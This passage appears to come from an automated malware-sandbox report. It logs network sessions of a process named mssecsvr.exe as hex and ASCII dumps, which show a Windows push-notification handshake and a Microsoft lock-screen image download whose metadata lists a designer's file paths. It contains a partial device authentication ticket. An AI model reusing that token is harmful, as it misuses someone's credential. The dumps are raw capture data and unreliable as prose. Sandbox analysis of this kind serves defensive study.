2022-07-20 17:31:02 UTC	265	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 61 48 6c 36 34 71 69 4a 6b 6d 54 30 4c 51 4b 62 44 6f 4e 70 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: saHl64qiJkmT0LQKbDoNpw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.7	50536	20.199.120.151	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:02 UTC	265	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 32 34 36 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 30 36 33 62 61 37 32 65 33 66 33 61 38 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 246Context: 89063ba72e3f3a8e
2022-07-20 17:31:02 UTC	265	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 37 31 33 34 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 55 53 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 34 34 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 37 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.17134</osVer><proc>x64</proc><lcid>en-US</lcid><geoId>244</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware7,1</deviceName></agent></connect>
2022-07-20 17:31:02 UTC	265	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 31 34 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 30 36 33 62 61 37 32 65 33 66 33 61 38 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 6f 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 34 45 71 2b 36 31 30 4e 30 56 2f 47 4b 68 48 41 53 56 41 51 6a 6a 47 76 31 2f 5a 5a 41 2f 48 48 31 55 74 54 34 43 65 74 2f 6c 42 35 50 66 47 74 67 69 74 32 38 51 7a 44 75 66 6b 51 31 6c 50 4f 61 31 71 6c 52 4a 44 79 46 44 37 42 65 2f 50 54 54 41 33 2f 54 31 33 6f 67 49 4f 59 66 30 58 63 79 6b 78 36 6f 43 41 56 49 58 35 37 4a 68 74 7a 5a 6d 4c 31 35 49 6c 73 2b 62 30 75 65 47 63 47 64 74 36 79 30 75 52 Data Ascii: ATH 2 CON\DEVICE 1014Context: 89063ba72e3f3a8e<device><compact-ticket>t=EwCoAupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAe4Eq+610N0V/GKhHASVAQjjGv1/ZZA/HH1UtT4Cet/lB5PfGtgit28QzDufkQ1lPOa1qlRJDyFD7Be/PTTA3/T13ogIOYf0Xcykx6oCAVIX57JhtzZmL15Ils+b0ueGcGdt6y0uR
2022-07-20 17:31:02 UTC	266	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 31 30 34 34 34 37 38 20 31 37 30 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 30 36 33 62 61 37 32 65 33 66 33 61 38 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 1044478 170Context: 89063ba72e3f3a8e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2022-07-20 17:31:02 UTC	266	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2022-07-20 17:31:02 UTC	266	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 76 44 61 6c 52 57 6f 61 6b 6d 7a 73 4d 31 73 44 37 6c 4b 53 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 0vDalRWoakmzsM1sD7lKSA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.7	50590	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:31:06 UTC	266	OUT	GET /cms/api/am/imageFileData/RWR39J?ver=c412 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 17:31:06 UTC	267	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWR39J?ver=c412 Last-Modified: Sun, 17 Jul 2022 16:00:08 GMT X-Source-Length: 1845968 X-Datacenter: northeu X-ActivityId: 3b48b433-ef14-4463-88bb-a21b50b601ec Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1845968 Cache-Control: public, max-age=167368 Expires: Fri, 22 Jul 2022 16:00:34 GMT Date: Wed, 20 Jul 2022 17:31:06 GMT Connection: close
2022-07-20 17:31:06 UTC	267	IN	Data Raw: ff d8 ff e1 0a 1f 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 31 3a 30 36 3a 32 34 20 31 34 3a 30 31 3a 32 32 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:06:24 14:01:228"
2022-07-20 17:31:06 UTC	283	IN	Data Raw: 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 32 32 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 30 38 54 31 36 3a 33 30 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 31 32 35 5f 42 61 74 63 68 32 5c 43 72 6f 70 73 5c 51 34 2d 31 32 35 2d 42 61 74 63 68 32 5f 54 68 65 57 68 69 74 65 44 65 73 65 72 74 5f 47 65 74 74 79 49 6d 61 67 Data Ascii: reen_1920x1080_Landscape.psd saved 2016-07-08T16:22:41-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2016-07-08T16:30:12-07:00 File C:\Users\v-lizagh\MS\Windows10\PrettyPics\Q4-125_Batch2\Crops\Q4-125-Batch2_TheWhiteDesert_GettyImag
2022-07-20 17:31:06 UTC	299	IN	Data Raw: 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 38 3a 32 37 3a 32 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 2d 5a 69 6f 6e 43 61 6e 79 6f 6e 5c 5a 69 6f 6e 43 61 6e 79 6f 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 32 38 38 32 37 39 33 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 30 34 54 31 38 3a 33 34 3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 Data Ascii: ened 2016-08-04T18:27:25-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing-ZionCanyon\ZionCanyon_GettyImages-528827939_1920x1080.jpg saved 2016-08-04T18:34:04-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRe
2022-07-20 17:31:06 UTC	300	IN	Data Raw: 30 5c 50 72 65 74 74 79 50 69 63 73 5c 51 34 2d 35 30 30 5f 42 61 74 63 68 31 5c 43 72 6f 70 73 5c 51 34 2d 35 30 30 2d 31 5f 46 6f 6f 74 62 72 69 64 67 65 4c 65 61 64 73 54 6f 53 65 61 5f 50 6c 61 69 6e 70 69 63 74 75 72 65 5f 70 33 30 30 6d 39 37 39 31 36 34 66 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 31 30 54 31 34 3a 30 30 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 Data Ascii: 0\PrettyPics\Q4-500_Batch1\Crops\Q4-500-1_FootbridgeLeadsToSea_Plainpicture_p300m979164f_1920x1080.jpg saved 2016-08-10T14:00:17-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landsca
2022-07-20 17:31:06 UTC	317	IN	Data Raw: 6d 65 6e 34 35 5c 52 6f 75 6e 64 32 5c 45 64 67 65 2d 57 6f 6d 65 6e 34 30 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 32 30 39 32 32 38 34 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 39 2d 32 38 54 31 36 3a 31 30 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 30 33 54 31 32 3a 34 37 3a 31 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 Data Ascii: men45\Round2\Edge-Women40_GettyImages-620922841_1920x1080.jpg saved 2016-09-28T16:10:11-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2016-10-03T12:47:12-07:00 File Lockscreen_1920x1080_Landscape.psd op
2022-07-20 17:31:06 UTC	333	IN	Data Raw: 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 6f 66 66 73 65 74 5f 38 36 38 35 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 34 3a 35 32 3a 35 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 53 6b 79 70 65 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 6b 79 70 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 32 32 30 33 36 38 32 33 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 34 3a 35 33 3a 33 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c Data Ascii: rops\Office_Skype_offset_86856_1920x1080.jpg saved 2016-11-23T14:52:59-08:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-Skype\Crops\Office_Skype_shutterstock_220368232_1920x1080.jpg saved 2016-11-23T14:53:38-08:00 Fil
2022-07-20 17:31:06 UTC	341	IN	Data Raw: 66 72 65 73 68 2d 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 52 65 77 61 72 64 73 5f 35 30 30 70 78 2d 35 38 35 32 36 32 39 36 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 32 2d 33 30 54 31 31 3a 33 33 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 52 65 66 72 65 73 68 2d 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 52 65 77 61 72 64 73 5f 35 30 30 70 78 2d 35 38 35 32 36 32 39 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 32 2d 33 30 54 31 31 3a 33 34 3a 35 38 2d 30 38 3a 30 30 Data Ascii: fresh-Round2\_CHOSEN\Edge-Rewards_500px-58526296_1920x1080.psd saved 2016-12-30T11:33:18-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\MS-Rewards\Refresh-Round2\_CHOSEN\Edge-Rewards_500px-58526296_1920x1080.jpg saved 2016-12-30T11:34:58-08:00
2022-07-20 17:31:06 UTC	357	IN	Data Raw: 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 30 39 54 31 30 3a 33 30 3a 34 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 30 39 54 31 30 3a 34 30 3a 31 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 Data Ascii: 08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-02-09T10:30:41-08:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-02-09T10:40:17-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Ph
2022-07-20 17:31:06 UTC	373	IN	Data Raw: 30 38 30 30 37 32 41 36 44 45 33 32 33 35 44 42 34 41 43 39 33 34 33 37 30 42 36 38 39 37 33 31 35 46 45 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 35 54 31 37 3a 30 38 3a 35 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 36 54 31 32 3a 33 37 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 36 54 31 32 Data Ascii: 080072A6DE3235DB4AC934370B6897315FE.psb saved 2017-03-15T17:08:52-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-03-16T12:37:13-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-03-16T12
2022-07-20 17:31:06 UTC	462	IN	Data Raw: 30 34 2d 30 34 54 31 34 3a 31 30 3a 35 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 75 73 69 6e 65 73 73 2d 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5c 43 48 4f 53 45 4e 5c 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 35 32 33 37 32 36 33 37 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 30 34 54 31 34 3a 31 31 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 75 73 69 6e 65 73 73 2d 50 68 69 6c 61 6e 74 68 72 6f 70 69 65 73 5c 43 48 4f 53 45 4e 5c 50 68 69 6c 61 Data Ascii: 04-04T14:10:54-07:00 File C:\Users\v-lizagh\MS\Windows10\Business-Philanthropies\CHOSEN\Philanthropies_GettyImages-652372637_1920x1080.psd saved 2017-04-04T14:11:56-07:00 File C:\Users\v-lizagh\MS\Windows10\Business-Philanthropies\CHOSEN\Phila
2022-07-20 17:31:06 UTC	497	IN	Data Raw: 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 37 54 30 39 3a 30 32 3a 30 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 47 65 6e 65 72 61 6c 2d 53 70 6f 74 6c 69 67 68 74 5f 51 34 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 47 65 6e 65 72 69 63 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 30 33 38 38 34 36 39 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 37 54 30 39 3a 30 33 3a 35 39 2d 30 37 3a 30 30 26 23 78 39 3b Data Ascii: 00 File Lockscreen_1920x1080_Landscape.psd opened 2017-04-27T09:02:03-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-General-Spotlight_Q4\Crops\OfficeGeneric_GettyImages-470388469_1920x1080.psd saved 2017-04-27T09:03:59-07:00
2022-07-20 17:31:06 UTC	513	IN	Data Raw: 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4d 75 73 69 63 46 65 73 74 69 76 61 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 34 39 31 31 37 37 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 38 54 31 30 3a 30 34 3a 33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 4d 75 73 69 63 46 65 73 74 69 76 61 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 34 39 31 31 37 37 31 5f 31 39 32 30 78 31 30 38 30 41 31 43 33 30 34 37 30 42 46 46 44 39 36 41 46 37 45 43 46 37 38 Data Ascii: n\Crops\MIT-MusicFestival_GettyImages-174911771_1920x1080.jpg saved 2017-05-18T10:04:37-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-MusicFestival_GettyImages-174911771_1920x1080A1C30470BFFD96AF7ECF78
2022-07-20 17:31:06 UTC	521	IN	Data Raw: 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4f 66 66 69 63 65 2d 42 32 5f 35 30 30 70 78 2d 31 35 32 32 38 37 36 32 31 41 30 44 38 39 41 30 32 39 38 46 42 42 35 37 35 32 36 38 36 38 38 35 31 44 32 37 31 43 42 31 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 36 2d 31 31 54 32 30 3a 32 34 3a 31 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 2d 4f 33 36 35 52 65 6e 65 77 61 6c 5c 4f 66 66 69 63 65 2d 42 32 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 37 34 34 37 39 38 34 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 Data Ascii: oshop CC 2017\AutoRecover\_Office-B2_500px-152287621A0D89A0298FBB57526868851D271CB1C.psb saved 2017-06-11T20:24:16-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Office-Batch2\_CHOSEN-O365Renewal\Office-B2_GettyImages-674479841_1920x1080.jpg sav
2022-07-20 17:31:06 UTC	537	IN	Data Raw: 6c 69 70 73 65 5f 4f 66 66 73 65 74 5f 35 37 39 32 31 36 5f 31 39 32 30 78 31 30 38 30 32 42 44 31 36 44 38 36 44 42 33 34 32 37 34 42 46 31 38 30 32 31 45 41 37 31 31 44 43 35 43 31 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 34 54 31 37 3a 34 37 3a 31 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 38 54 31 34 3a 32 30 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 Data Ascii: lipse_Offset_579216_1920x10802BD16D86DB34274BF18021EA711DC5C1.psb saved 2017-07-14T17:47:15-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-07-18T14:20:19-07:00 File Lockscreen_1920x1080_Landscape.ps
2022-07-20 17:31:06 UTC	553	IN	Data Raw: 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 38 54 31 35 3a 33 38 3a 34 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 Data Ascii: 0x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 2017-08-28T15:38:48-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb saved 201
